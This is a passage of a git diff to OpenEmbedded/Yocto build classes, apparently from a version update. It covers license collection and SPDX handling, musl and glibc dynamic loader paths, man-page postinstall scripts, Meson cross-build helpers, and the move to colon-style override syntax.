else:
# first in PACKAGES to be sure that nothing else gets LICENSE_FILES_DIRECTORY
d.setVar('PACKAGES', "%s %s" % (pn_lic, packages))
- d.setVar('FILES_' + pn_lic, files)
- for pn in packages.split():
- if pn == pn_lic:
- continue
- rrecommends_pn = d.getVar('RRECOMMENDS_' + pn)
- if rrecommends_pn:
- d.setVar('RRECOMMENDS_' + pn, "%s %s" % (pn_lic, rrecommends_pn))
- else:
- d.setVar('RRECOMMENDS_' + pn, "%s" % (pn_lic))
+ d.setVar('FILES:' + pn_lic, files)
def copy_license_files(lic_files_paths, destdir):
import shutil
@@ -152,6 +146,10 @@ def find_license_files(d):
find_license(node.s.replace("+", "").replace("*", ""))
self.generic_visit(node)
+ def visit_Constant(self, node):
+ find_license(node.value.replace("+", "").replace("*", ""))
+ self.generic_visit(node)
+
def find_license(license_type):
try:
bb.utils.mkdirhier(gen_lic_dest)
@@ -185,7 +183,8 @@ def find_license_files(d):
# The user may attempt to use NO_GENERIC_LICENSE for a generic license which doesn't make sense
# and should not be allowed, warn the user in this case.
if d.getVarFlag('NO_GENERIC_LICENSE', license_type):
- bb.warn("%s: %s is a generic license, please don't use NO_GENERIC_LICENSE for it." % (pn, license_type))
+ oe.qa.handle_error("license-no-generic",
+ "%s: %s is a generic license, please don't use NO_GENERIC_LICENSE for it." % (pn, license_type), d)
elif non_generic_lic and non_generic_lic in lic_chksums:
# if NO_GENERIC_LICENSE is set, we copy the license files from the fetched source
@@ -194,10 +193,11 @@ def find_license_files(d):
os.path.join(srcdir, non_generic_lic), None, None))
non_generic_lics[non_generic_lic] = license_type
else:
- # Add explicity avoid of CLOSED license because this isn't generic
+ # Explicitly avoid the CLOSED license because this isn't generic
if license_type != 'CLOSED':
# And here is where we warn people that their licenses are lousy
- bb.warn("%s: No generic license file exists for: %s in any provider" % (pn, license_type))
+ oe.qa.handle_error("license-exists",
+ "%s: No generic license file exists for: %s in any provider" % (pn, license_type), d)
pass
if not generic_directory:
@@ -222,7 +222,8 @@ def find_license_files(d):
except oe.license.InvalidLicense as exc:
bb.fatal('%s: %s' % (d.getVar('PF'), exc))
except SyntaxError:
- bb.warn("%s: Failed to parse it's LICENSE field." % (d.getVar('PF')))
+ oe.qa.handle_error("license-syntax",
+ "%s: Failed to parse it's LICENSE field." % (d.getVar('PF')), d)
# Add files from LIC_FILES_CHKSUM to list of license files
lic_chksum_paths = defaultdict(OrderedDict)
for path, data in sorted(lic_chksums.items()):
@@ -251,36 +252,50 @@ def return_spdx(d, license):
def canonical_license(d, license):
"""
Return the canonical (SPDX) form of the license if available (so GPLv3
- becomes GPL-3.0), for the license named 'X+', return canonical form of
- 'X' if availabel and the tailing '+' (so GPLv3+ becomes GPL-3.0+),
- or the passed license if there is no canonical form.
+ becomes GPL-3.0-only) or the passed license if there is no canonical form.
"""
- lic = d.getVarFlag('SPDXLICENSEMAP', license) or ""
- if not lic and license.endswith('+'):
- lic = d.getVarFlag('SPDXLICENSEMAP', license.rstrip('+'))
- if lic:
- lic += '+'
- return lic or license
+ return d.getVarFlag('SPDXLICENSEMAP', license) or license
-def expand_wildcard_licenses(d, wildcard_licenses):
+def available_licenses(d):
"""
- Return actual spdx format license names if wildcard used. We expand
- wildcards from SPDXLICENSEMAP flags and SRC_DISTRIBUTE_LICENSES values.
+ Return the available licenses by searching the directories specified by
+ COMMON_LICENSE_DIR and LICENSE_PATH.
"""
- import fnmatch
- licenses = wildcard_licenses[:]
- spdxmapkeys = d.getVarFlags('SPDXLICENSEMAP').keys()
- for wld_lic in wildcard_licenses:
- spdxflags = fnmatch.filter(spdxmapkeys, wld_lic)
- licenses += [d.getVarFlag('SPDXLICENSEMAP', flag) for flag in spdxflags]
-
- spdx_lics = (d.getVar('SRC_DISTRIBUTE_LICENSES', False) or '').split()
- for wld_lic in wildcard_licenses:
- licenses += fnmatch.filter(spdx_lics, wld_lic)
-
- licenses = list(set(licenses))
+ lic_dirs = ((d.getVar('COMMON_LICENSE_DIR') or '') + ' ' +
+ (d.getVar('LICENSE_PATH') or '')).split()
+
+ licenses = []
+ for lic_dir in lic_dirs:
+ licenses += os.listdir(lic_dir)
+
+ licenses = sorted(licenses)
return licenses
+def expand_wildcard_licenses(d, wildcard_licenses):
+ """
+ There are some common wildcard values users may want to use. Support them
+ here.
+ """
+ licenses = set(wildcard_licenses)
+ mapping = {
+ "AGPL-3.0*" : ["AGPL-3.0-only", "AGPL-3.0-or-later"],
+ "GPL-3.0*" : ["GPL-3.0-only", "GPL-3.0-or-later"],
+ "LGPL-3.0*" : ["LGPL-3.0-only", "LGPL-3.0-or-later"],
+ }
+ for k in mapping:
+ if k in wildcard_licenses:
+ licenses.remove(k)
+ for item in mapping[k]:
+ licenses.add(item)
+
+ for l in licenses:
+ if l in oe.license.obsolete_license_list():
+ bb.fatal("Error, %s is an obsolete license, please use an SPDX reference in INCOMPATIBLE_LICENSE" % l)
+ if "*" in l:
+ bb.fatal("Error, %s is an invalid license wildcard entry" % l)
+
+ return list(licenses)
+
def incompatible_license_contains(license, truevalue, falsevalue, d):
license = canonical_license(d, license)
bad_licenses = (d.getVar('INCOMPATIBLE_LICENSE') or "").split()
@@ -291,15 +306,21 @@ def incompatible_pkg_license(d, dont_want_licenses, license):
# Handles an "or" or two license sets provided by
# flattened_licenses(), pick one that works if possible.
def choose_lic_set(a, b):
- return a if all(oe.license.license_ok(canonical_license(d, lic),
+ return a if all(oe.license.license_ok(canonical_license(d, lic),
dont_want_licenses) for lic in a) else b
try:
licenses = oe.license.flattened_licenses(license, choose_lic_set)
except oe.license.LicenseError as exc:
bb.fatal('%s: %s' % (d.getVar('P'), exc))
- return any(not oe.license.license_ok(canonical_license(d, l), \
- dont_want_licenses) for l in licenses)
+
+ incompatible_lic = []
+ for l in licenses:
+ license = canonical_license(d, l)
+ if not oe.license.license_ok(license, dont_want_licenses):
+ incompatible_lic.append(license)
+
+ return sorted(incompatible_lic)
def incompatible_license(d, dont_want_licenses, package=None):
"""
@@ -308,7 +329,7 @@ def incompatible_license(d, dont_want_licenses, package=None):
as canonical (SPDX) names.
"""
import oe.license
- license = d.getVar("LICENSE_%s" % package) if package else None
+ license = d.getVar("LICENSE:%s" % package) if package else None
if not license:
license = d.getVar('LICENSE')
@@ -317,30 +338,31 @@ def incompatible_license(d, dont_want_licenses, package=None):
def check_license_flags(d):
"""
This function checks if a recipe has any LICENSE_FLAGS that
- aren't whitelisted.
+ aren't acceptable.
- If it does, it returns the all LICENSE_FLAGS missing from the whitelist, or
- all of the LICENSE_FLAGS if there is no whitelist.
+ If it does, it returns the all LICENSE_FLAGS missing from the list
+ of acceptable license flags, or all of the LICENSE_FLAGS if there
+ is no list of acceptable flags.
- If everything is is properly whitelisted, it returns None.
+ If everything is is acceptable, it returns None.
"""
- def license_flag_matches(flag, whitelist, pn):
+ def license_flag_matches(flag, acceptlist, pn):
"""
- Return True if flag matches something in whitelist, None if not.
+ Return True if flag matches something in acceptlist, None if not.
- Before we test a flag against the whitelist, we append _${PN}
+ Before we test a flag against the acceptlist, we append _${PN}
to it. We then try to match that string against the
- whitelist. This covers the normal case, where we expect
+ acceptlist. This covers the normal case, where we expect
LICENSE_FLAGS to be a simple string like 'commercial', which
- the user typically matches exactly in the whitelist by
+ the user typically matches exactly in the acceptlist by
explicitly appending the package name e.g 'commercial_foo'.
If we fail the match however, we then split the flag across
'_' and append each fragment and test until we either match or
run out of fragments.
"""
flag_pn = ("%s_%s" % (flag, pn))
- for candidate in whitelist:
+ for candidate in acceptlist:
if flag_pn == candidate:
return True
@@ -351,27 +373,27 @@ def check_license_flags(d):
if flag_cur:
flag_cur += "_"
flag_cur += flagment
- for candidate in whitelist:
+ for candidate in acceptlist:
if flag_cur == candidate:
return True
return False
- def all_license_flags_match(license_flags, whitelist):
+ def all_license_flags_match(license_flags, acceptlist):
""" Return all unmatched flags, None if all flags match """
pn = d.getVar('PN')
- split_whitelist = whitelist.split()
+ split_acceptlist = acceptlist.split()
flags = []
for flag in license_flags.split():
- if not license_flag_matches(flag, split_whitelist, pn):
+ if not license_flag_matches(flag, split_acceptlist, pn):
flags.append(flag)
return flags if flags else None
license_flags = d.getVar('LICENSE_FLAGS')
if license_flags:
- whitelist = d.getVar('LICENSE_FLAGS_WHITELIST')
- if not whitelist:
+ acceptlist = d.getVar('LICENSE_FLAGS_ACCEPTED')
+ if not acceptlist:
return license_flags.split()
- unmatched_flags = all_license_flags_match(license_flags, whitelist)
+ unmatched_flags = all_license_flags_match(license_flags, acceptlist)
if unmatched_flags:
return unmatched_flags
return None
@@ -390,20 +412,22 @@ def check_license_format(d):
for pos, element in enumerate(elements):
if license_pattern.match(element):
if pos > 0 and license_pattern.match(elements[pos - 1]):
- bb.warn('%s: LICENSE value "%s" has an invalid format - license names ' \
+ oe.qa.handle_error('license-format',
+ '%s: LICENSE value "%s" has an invalid format - license names ' \
'must be separated by the following characters to indicate ' \
'the license selection: %s' %
- (pn, licenses, license_operator_chars))
+ (pn, licenses, license_operator_chars), d)
elif not license_operator.match(element):
- bb.warn('%s: LICENSE value "%s" has an invalid separator "%s" that is not ' \
+ oe.qa.handle_error('license-format',
+ '%s: LICENSE value "%s" has an invalid separator "%s" that is not ' \
'in the valid list of separators (%s)' %
- (pn, licenses, element, license_operator_chars))
+ (pn, licenses, element, license_operator_chars), d)
SSTATETASKS += "do_populate_lic"
do_populate_lic[sstate-inputdirs] = "${LICSSTATEDIR}"
do_populate_lic[sstate-outputdirs] = "${LICENSE_DIRECTORY}/"
-IMAGE_CLASSES_append = " license_image"
+IMAGE_CLASSES:append = " license_image"
python do_populate_lic_setscene () {
sstate_setscene(d)
diff --git a/meta/classes/license_image.bbclass b/meta/classes/license_image.bbclass
index b5399b6d96..0a5ea0a2fb 100644
--- a/meta/classes/license_image.bbclass
+++ b/meta/classes/license_image.bbclass
@@ -1,3 +1,15 @@
+ROOTFS_LICENSE_DIR = "${IMAGE_ROOTFS}/usr/share/common-licenses"
+
+# This requires LICENSE_CREATE_PACKAGE=1 to work too
+COMPLEMENTARY_GLOB[lic-pkgs] = "*-lic"
+
+python() {
+ if not oe.data.typed_value('LICENSE_CREATE_PACKAGE', d):
+ features = set(oe.data.typed_value('IMAGE_FEATURES', d))
+ if 'lic-pkgs' in features:
+ bb.error("'lic-pkgs' in IMAGE_FEATURES but LICENSE_CREATE_PACKAGE not enabled to generate -lic packages")
+}
+
python write_package_manifest() {
# Get list of installed packages
license_image_dir = d.expand('${LICENSE_DIRECTORY}/${IMAGE_NAME}')
@@ -27,7 +39,7 @@ python license_create_manifest() {
pkg_dic[pkg_name] = oe.packagedata.read_pkgdatafile(pkg_info)
if not "LICENSE" in pkg_dic[pkg_name].keys():
- pkg_lic_name = "LICENSE_" + pkg_name
+ pkg_lic_name = "LICENSE:" + pkg_name
pkg_dic[pkg_name]["LICENSE"] = pkg_dic[pkg_name][pkg_lic_name]
rootfs_license_manifest = os.path.join(d.getVar('LICENSE_DIRECTORY'),
@@ -40,30 +52,25 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
import stat
bad_licenses = (d.getVar("INCOMPATIBLE_LICENSE") or "").split()
- bad_licenses = [canonical_license(d, l) for l in bad_licenses]
bad_licenses = expand_wildcard_licenses(d, bad_licenses)
- whitelist = []
- for lic in bad_licenses:
- whitelist.extend((d.getVar("WHITELIST_" + lic) or "").split())
-
+ exceptions = (d.getVar("INCOMPATIBLE_LICENSE_EXCEPTIONS") or "").split()
with open(license_manifest, "w") as license_file:
for pkg in sorted(pkg_dic):
- if bad_licenses and pkg not in whitelist:
- try:
- if incompatible_pkg_license(d, bad_licenses, pkg_dic[pkg]["LICENSE"]):
- bb.fatal("Package %s has an incompatible license %s and cannot be installed into the image." %(pkg, pkg_dic[pkg]["LICENSE"]))
- (pkg_dic[pkg]["LICENSE"], pkg_dic[pkg]["LICENSES"]) = \
- oe.license.manifest_licenses(pkg_dic[pkg]["LICENSE"],
- bad_licenses, canonical_license, d)
- except oe.license.LicenseError as exc:
- bb.fatal('%s: %s' % (d.getVar('P'), exc))
+ remaining_bad_licenses = oe.license.apply_pkg_license_exception(pkg, bad_licenses, exceptions)
+ incompatible_licenses = incompatible_pkg_license(d, remaining_bad_licenses, pkg_dic[pkg]["LICENSE"])
+ if incompatible_licenses:
+ bb.fatal("Package %s cannot be installed into the image because it has incompatible license(s): %s" %(pkg, ' '.join(incompatible_licenses)))
else:
- pkg_dic[pkg]["LICENSES"] = re.sub(r'[|&()*]', ' ', pkg_dic[pkg]["LICENSE"])
- pkg_dic[pkg]["LICENSES"] = re.sub(r' *', ' ', pkg_dic[pkg]["LICENSES"])
- pkg_dic[pkg]["LICENSES"] = pkg_dic[pkg]["LICENSES"].split()
- if pkg in whitelist:
- bb.warn("Including %s with an incompatible license %s into the image, because it has been whitelisted." %(pkg, pkg_dic[pkg]["LICENSE"]))
+ incompatible_licenses = incompatible_pkg_license(d, bad_licenses, pkg_dic[pkg]["LICENSE"])
+ if incompatible_licenses:
+ oe.qa.handle_error('license-incompatible', "Including %s with incompatible license(s) %s into the image, because it has been allowed by exception list." %(pkg, ' '.join(incompatible_licenses)), d)
+ try:
+ (pkg_dic[pkg]["LICENSE"], pkg_dic[pkg]["LICENSES"]) = \
+ oe.license.manifest_licenses(pkg_dic[pkg]["LICENSE"],
+ remaining_bad_licenses, canonical_license, d)
+ except oe.license.LicenseError as exc:
+ bb.fatal('%s: %s' % (d.getVar('P'), exc))
if not "IMAGE_MANIFEST" in pkg_dic[pkg]:
# Rootfs manifest
@@ -75,7 +82,7 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
# If the package doesn't contain any file, that is, its size is 0, the license
# isn't relevant as far as the final image is concerned. So doing license check
# doesn't make much sense, skip it.
- if pkg_dic[pkg]["PKGSIZE_%s" % pkg] == "0":
+ if pkg_dic[pkg]["PKGSIZE:%s" % pkg] == "0":
continue
else:
# Image manifest
@@ -93,10 +100,10 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
continue
if not os.path.exists(lic_file):
- bb.warn("The license listed %s was not in the "\
- "licenses collected for recipe %s"
- % (lic, pkg_dic[pkg]["PN"]))
-
+ oe.qa.handle_error('license-file-missing',
+ "The license listed %s was not in the "\
+ "licenses collected for recipe %s"
+ % (lic, pkg_dic[pkg]["PN"]), d)
# Two options here:
# - Just copy the manifest
# - Copy the manifest and the license directories
@@ -104,8 +111,7 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
copy_lic_manifest = d.getVar('COPY_LIC_MANIFEST')
copy_lic_dirs = d.getVar('COPY_LIC_DIRS')
if rootfs and copy_lic_manifest == "1":
- rootfs_license_dir = os.path.join(d.getVar('IMAGE_ROOTFS'),
- 'usr', 'share', 'common-licenses')
+ rootfs_license_dir = d.getVar('ROOTFS_LICENSE_DIR')
bb.utils.mkdirhier(rootfs_license_dir)
rootfs_license_manifest = os.path.join(rootfs_license_dir,
os.path.split(license_manifest)[1])
@@ -124,7 +130,6 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
licenses = os.listdir(pkg_license_dir)
for lic in licenses:
- rootfs_license = os.path.join(rootfs_license_dir, lic)
pkg_license = os.path.join(pkg_license_dir, lic)
pkg_rootfs_license = os.path.join(pkg_rootfs_license_dir, lic)
@@ -143,11 +148,14 @@ def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
bad_licenses) == False:
continue
+ # Make sure we use only canonical name for the license file
+ generic_lic_file = "generic_%s" % generic_lic
+ rootfs_license = os.path.join(rootfs_license_dir, generic_lic_file)
if not os.path.exists(rootfs_license):
oe.path.copyhardlink(pkg_license, rootfs_license)
if not os.path.exists(pkg_rootfs_license):
- os.symlink(os.path.join('..', lic), pkg_rootfs_license)
+ os.symlink(os.path.join('..', generic_lic_file), pkg_rootfs_license)
else:
if (oe.license.license_ok(canonical_license(d,
lic), bad_licenses) == False or
@@ -199,6 +207,18 @@ def license_deployed_manifest(d):
image_license_manifest = os.path.join(lic_manifest_dir, 'image_license.manifest')
write_license_files(d, image_license_manifest, man_dic, rootfs=False)
+ link_name = d.getVar('IMAGE_LINK_NAME')
+ if link_name:
+ lic_manifest_symlink_dir = os.path.join(d.getVar('LICENSE_DIRECTORY'),
+ link_name)
+ # remove old symlink
+ if os.path.islink(lic_manifest_symlink_dir):
+ os.unlink(lic_manifest_symlink_dir)
+
+ # create the image dir symlink
+ if lic_manifest_dir != lic_manifest_symlink_dir:
+ os.symlink(lic_manifest_dir, lic_manifest_symlink_dir)
+
def get_deployed_dependencies(d):
"""
Get all the deployed dependencies of an image
@@ -207,9 +227,10 @@ def get_deployed_dependencies(d):
deploy = {}
# Get all the dependencies for the current task (rootfs).
taskdata = d.getVar("BB_TASKDEPDATA", False)
+ pn = d.getVar("PN", True)
depends = list(set([dep[0] for dep
in list(taskdata.values())
- if not dep[0].endswith("-native")]))
+ if not dep[0].endswith("-native") and not dep[0] == pn]))
# To verify what was deployed it checks the rootfs dependencies against
# the SSTATE_MANIFESTS for "deploy" task.
@@ -243,13 +264,24 @@ def get_deployed_files(man_file):
dep_files.append(os.path.basename(f))
return dep_files
-ROOTFS_POSTPROCESS_COMMAND_prepend = "write_package_manifest; license_create_manifest; "
+ROOTFS_POSTPROCESS_COMMAND:prepend = "write_package_manifest; license_create_manifest; "
do_rootfs[recrdeptask] += "do_populate_lic"
python do_populate_lic_deploy() {
license_deployed_manifest(d)
+ oe.qa.exit_if_errors(d)
}
addtask populate_lic_deploy before do_build after do_image_complete
do_populate_lic_deploy[recrdeptask] += "do_populate_lic do_deploy"
+python license_qa_dead_symlink() {
+ import os
+
+ for root, dirs, files in os.walk(d.getVar('ROOTFS_LICENSE_DIR')):
+ for file in files:
+ full_path = root + "/" + file
+ if os.path.islink(full_path) and not os.path.exists(full_path):
+ bb.error("broken symlink: " + full_path)
+}
+IMAGE_QA_COMMANDS += "license_qa_dead_symlink"
diff --git a/meta/classes/linux-dummy.bbclass b/meta/classes/linux-dummy.bbclass
new file mode 100644
index 0000000000..9a06a509dd
--- /dev/null
+++ b/meta/classes/linux-dummy.bbclass
@@ -0,0 +1,26 @@
+
+python __anonymous () {
+ if d.getVar('PREFERRED_PROVIDER_virtual/kernel') == 'linux-dummy':
+ # copy part codes from kernel.bbclass
+ kname = d.getVar('KERNEL_PACKAGE_NAME') or "kernel"
+
+ # set an empty package of kernel-devicetree
+ d.appendVar('PACKAGES', ' %s-devicetree' % kname)
+ d.setVar('ALLOW_EMPTY:%s-devicetree' % kname, '1')
+
+ # Merge KERNEL_IMAGETYPE and KERNEL_ALT_IMAGETYPE into KERNEL_IMAGETYPES
+ type = d.getVar('KERNEL_IMAGETYPE') or ""
+ alttype = d.getVar('KERNEL_ALT_IMAGETYPE') or ""
+ types = d.getVar('KERNEL_IMAGETYPES') or ""
+ if type not in types.split():
+ types = (type + ' ' + types).strip()
+ if alttype not in types.split():
+ types = (alttype + ' ' + types).strip()
+
+ # set empty packages of kernel-image-*
+ for type in types.split():
+ typelower = type.lower()
+ d.appendVar('PACKAGES', ' %s-image-%s' % (kname, typelower))
+ d.setVar('ALLOW_EMPTY:%s-image-%s' % (kname, typelower), '1')
+}
+
diff --git a/meta/classes/linuxloader.bbclass b/meta/classes/linuxloader.bbclass
index c0fbf26836..4447c8847c 100644
--- a/meta/classes/linuxloader.bbclass
+++ b/meta/classes/linuxloader.bbclass
@@ -1,32 +1,38 @@
-def get_musl_loader(d):
+def get_musl_loader_arch(d):
import re
- dynamic_loader = None
+ ldso_arch = "NotSupported"
targetarch = d.getVar("TARGET_ARCH")
if targetarch.startswith("microblaze"):
- dynamic_loader = "${base_libdir}/ld-musl-microblaze${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '', 'el' ,d)}.so.1"
+ ldso_arch = "microblaze${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '', 'el', d)}"
elif targetarch.startswith("mips"):
- dynamic_loader = "${base_libdir}/ld-musl-mips${ABIEXTENSION}${MIPSPKGSFX_BYTE}${MIPSPKGSFX_R6}${MIPSPKGSFX_ENDIAN}${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}.so.1"
+ ldso_arch = "mips${ABIEXTENSION}${MIPSPKGSFX_BYTE}${MIPSPKGSFX_R6}${MIPSPKGSFX_ENDIAN}${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}"
elif targetarch == "powerpc":
- dynamic_loader = "${base_libdir}/ld-musl-powerpc${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}.so.1"
- elif targetarch == "powerpc64":
- dynamic_loader = "${base_libdir}/ld-musl-powerpc64.so.1"
+ ldso_arch = "powerpc${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}"
+ elif targetarch.startswith("powerpc64"):
+ ldso_arch = "powerpc64${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '', 'le', d)}"
elif targetarch == "x86_64":
- dynamic_loader = "${base_libdir}/ld-musl-x86_64.so.1"
+ ldso_arch = "x86_64"
elif re.search("i.86", targetarch):
- dynamic_loader = "${base_libdir}/ld-musl-i386.so.1"
+ ldso_arch = "i386"
elif targetarch.startswith("arm"):
- dynamic_loader = "${base_libdir}/ld-musl-arm${ARMPKGSFX_ENDIAN}${ARMPKGSFX_EABI}.so.1"
+ ldso_arch = "arm${ARMPKGSFX_ENDIAN}${ARMPKGSFX_EABI}"
elif targetarch.startswith("aarch64"):
- dynamic_loader = "${base_libdir}/ld-musl-aarch64${ARMPKGSFX_ENDIAN_64}.so.1"
+ ldso_arch = "aarch64${ARMPKGSFX_ENDIAN_64}"
elif targetarch.startswith("riscv64"):
- dynamic_loader = "${base_libdir}/ld-musl-riscv64${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}.so.1"
- return dynamic_loader
+ ldso_arch = "riscv64${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}"
+ elif targetarch.startswith("riscv32"):
+ ldso_arch = "riscv32${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}"
+ return ldso_arch
+
+def get_musl_loader(d):
+ import re
+ return "/lib/ld-musl-" + get_musl_loader_arch(d) + ".so.1"
def get_glibc_loader(d):
import re
- dynamic_loader = None
+ dynamic_loader = "NotSupported"
targetarch = d.getVar("TARGET_ARCH")
if targetarch in ["powerpc", "microblaze"]:
dynamic_loader = "${base_libdir}/ld.so.1"
@@ -34,6 +40,8 @@ def get_glibc_loader(d):
dynamic_loader = "${base_libdir}/ld-linux-mipsn8.so.1"
elif targetarch.startswith("mips"):
dynamic_loader = "${base_libdir}/ld.so.1"
+ elif targetarch == "powerpc64le":
+ dynamic_loader = "${base_libdir}/ld64.so.2"
elif targetarch == "powerpc64":
dynamic_loader = "${base_libdir}/ld64.so.1"
elif targetarch == "x86_64":
@@ -41,18 +49,20 @@ def get_glibc_loader(d):
elif re.search("i.86", targetarch):
dynamic_loader = "${base_libdir}/ld-linux.so.2"
elif targetarch == "arm":
- dynamic_loader = "${base_libdir}/ld-linux.so.3"
+ dynamic_loader = "${base_libdir}/ld-linux${@['-armhf', ''][d.getVar('TARGET_FPU') == 'soft']}.so.3"
elif targetarch.startswith("aarch64"):
dynamic_loader = "${base_libdir}/ld-linux-aarch64${ARMPKGSFX_ENDIAN_64}.so.1"
elif targetarch.startswith("riscv64"):
dynamic_loader = "${base_libdir}/ld-linux-riscv64-lp64${@['d', ''][d.getVar('TARGET_FPU') == 'soft']}.so.1"
+ elif targetarch.startswith("riscv32"):
+ dynamic_loader = "${base_libdir}/ld-linux-riscv32-ilp32${@['d', ''][d.getVar('TARGET_FPU') == 'soft']}.so.1"
return dynamic_loader
def get_linuxloader(d):
overrides = d.getVar("OVERRIDES").split(":")
if "libc-baremetal" in overrides:
- return None
+ return "NotSupported"
if "libc-musl" in overrides:
dynamic_loader = get_musl_loader(d)
@@ -62,4 +72,5 @@ def get_linuxloader(d):
get_linuxloader[vardepvalue] = "${@get_linuxloader(d)}"
get_musl_loader[vardepvalue] = "${@get_musl_loader(d)}"
+get_musl_loader_arch[vardepvalue] = "${@get_musl_loader_arch(d)}"
get_glibc_loader[vardepvalue] = "${@get_glibc_loader(d)}"
diff --git a/meta/classes/manpages.bbclass b/meta/classes/manpages.bbclass
index 50c254763e..5e09c77fe6 100644
--- a/meta/classes/manpages.bbclass
+++ b/meta/classes/manpages.bbclass
@@ -2,7 +2,7 @@
# depending on whether 'api-documentation' is in DISTRO_FEATURES. Such building
# tends to pull in the entire XML stack and other tools, so it's not enabled
# by default.
-PACKAGECONFIG_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'manpages', '', d)}"
+PACKAGECONFIG:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'manpages', '', d)}"
inherit qemu
@@ -10,16 +10,24 @@ inherit qemu
MAN_PKG ?= "${PN}-doc"
# only add man-db to RDEPENDS when manual files are built and installed
-RDEPENDS_${MAN_PKG} += "${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'man-db', '', d)}"
+RDEPENDS:${MAN_PKG} += "${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'man-db', '', d)}"
-pkg_postinst_append_${MAN_PKG} () {
+pkg_postinst:${MAN_PKG}:append () {
# only update manual page index caches when manual files are built and installed
if ${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'true', 'false', d)}; then
if test -n "$D"; then
- if ${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'true','false', d)}; then
+ if ${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'true', 'false', d)}; then
sed "s:\(\s\)/:\1$D/:g" $D${sysconfdir}/man_db.conf | ${@qemu_run_binary(d, '$D', '${bindir}/mandb')} -C - -u -q $D${mandir}
+ chown -R root:root $D${mandir}
+
mkdir -p $D${localstatedir}/cache/man
- mv $D${mandir}/index.db $D${localstatedir}/cache/man
+ cd $D${mandir}
+ find . -name index.db | while read index; do
+ mkdir -p $D${localstatedir}/cache/man/$(dirname ${index})
+ mv ${index} $D${localstatedir}/cache/man/${index}
+ chown man:man $D${localstatedir}/cache/man/${index}
+ done
+ cd -
else
$INTERCEPT_DIR/postinst_intercept delay_to_first_boot ${PKG} mlprefix=${MLPREFIX}
fi
@@ -29,7 +37,7 @@ pkg_postinst_append_${MAN_PKG} () {
fi
}
-pkg_postrm_append_${MAN_PKG} () {
+pkg_postrm:${MAN_PKG}:append () {
# only update manual page index caches when manual files are built and installed
if ${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'true', 'false', d)}; then
mandb -q
diff --git a/meta/classes/meson-routines.bbclass b/meta/classes/meson-routines.bbclass
new file mode 100644
index 0000000000..be3aeedeba
--- /dev/null
+++ b/meta/classes/meson-routines.bbclass
@@ -0,0 +1,51 @@
+inherit siteinfo
+
+def meson_array(var, d):
+ items = d.getVar(var).split()
+ return repr(items[0] if len(items) == 1 else items)
+
+# Map our ARCH values to what Meson expects:
+# http://mesonbuild.com/Reference-tables.html#cpu-families
+def meson_cpu_family(var, d):
+ import re
+ arch = d.getVar(var)
+ if arch == 'powerpc':
+ return 'ppc'
+ elif arch == 'powerpc64' or arch == 'powerpc64le':
+ return 'ppc64'
+ elif arch == 'armeb':
+ return 'arm'
+ elif arch == 'aarch64_be':
+ return 'aarch64'
+ elif arch == 'mipsel':
+ return 'mips'
+ elif arch == 'mips64el':
+ return 'mips64'
+ elif re.match(r"i[3-6]86", arch):
+ return "x86"
+ elif arch == "microblazeel":
+ return "microblaze"
+ else:
+ return arch
+
+# Map our OS values to what Meson expects:
+# https://mesonbuild.com/Reference-tables.html#operating-system-names
+def meson_operating_system(var, d):
+ os = d.getVar(var)
+ if "mingw" in os:
+ return "windows"
+ # avoid e.g 'linux-gnueabi'
+ elif "linux" in os:
+ return "linux"
+ else:
+ return os
+
+def meson_endian(prefix, d):
+ arch, os = d.getVar(prefix + "_ARCH"), d.getVar(prefix + "_OS")
+ sitedata = siteinfo_data_for_machine(arch, os, d)
+ if "endian-little" in sitedata:
+ return "little"
+ elif "endian-big" in sitedata:
+ return "big"
+ else:
+ bb.fatal("Cannot determine endianism for %s-%s" % (arch, os))
diff --git a/meta/classes/meson.bbclass b/meta/classes/meson.bbclass
index efa6234078..0bfe945811 100644
--- a/meta/classes/meson.bbclass
+++ b/meta/classes/meson.bbclass
@@ -1,6 +1,11 @@
-inherit siteinfo python3native
+inherit python3native meson-routines qemu
-DEPENDS_append = " meson-native ninja-native"
+DEPENDS:append = " meson-native ninja-native"
+
+EXEWRAPPER_ENABLED:class-native = "False"
+EXEWRAPPER_ENABLED:class-nativesdk = "False"
+EXEWRAPPER_ENABLED ?= "${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d)}"
+DEPENDS:append = "${@' qemu-native' if d.getVar('EXEWRAPPER_ENABLED') == 'True' else ''}"
# As Meson enforces out-of-tree builds we can just use cleandirs
B = "${WORKDIR}/build"
@@ -12,8 +17,10 @@ MESON_SOURCEPATH = "${S}"
def noprefix(var, d):
return d.getVar(var).replace(d.getVar('prefix') + '/', '', 1)
+MESON_BUILDTYPE ?= "${@oe.utils.vartrue('DEBUG_BUILD', 'debug', 'plain', d)}"
+MESON_BUILDTYPE[vardeps] += "DEBUG_BUILD"
MESONOPTS = " --prefix ${prefix} \
- --buildtype plain \
+ --buildtype ${MESON_BUILDTYPE} \
--bindir ${@noprefix('bindir', d)} \
--sbindir ${@noprefix('sbindir', d)} \
--datadir ${@noprefix('datadir', d)} \
@@ -24,54 +31,28 @@ MESONOPTS = " --prefix ${prefix} \
--infodir ${@noprefix('infodir', d)} \
--sysconfdir ${sysconfdir} \
--localstatedir ${localstatedir} \
- --sharedstatedir ${sharedstatedir} "
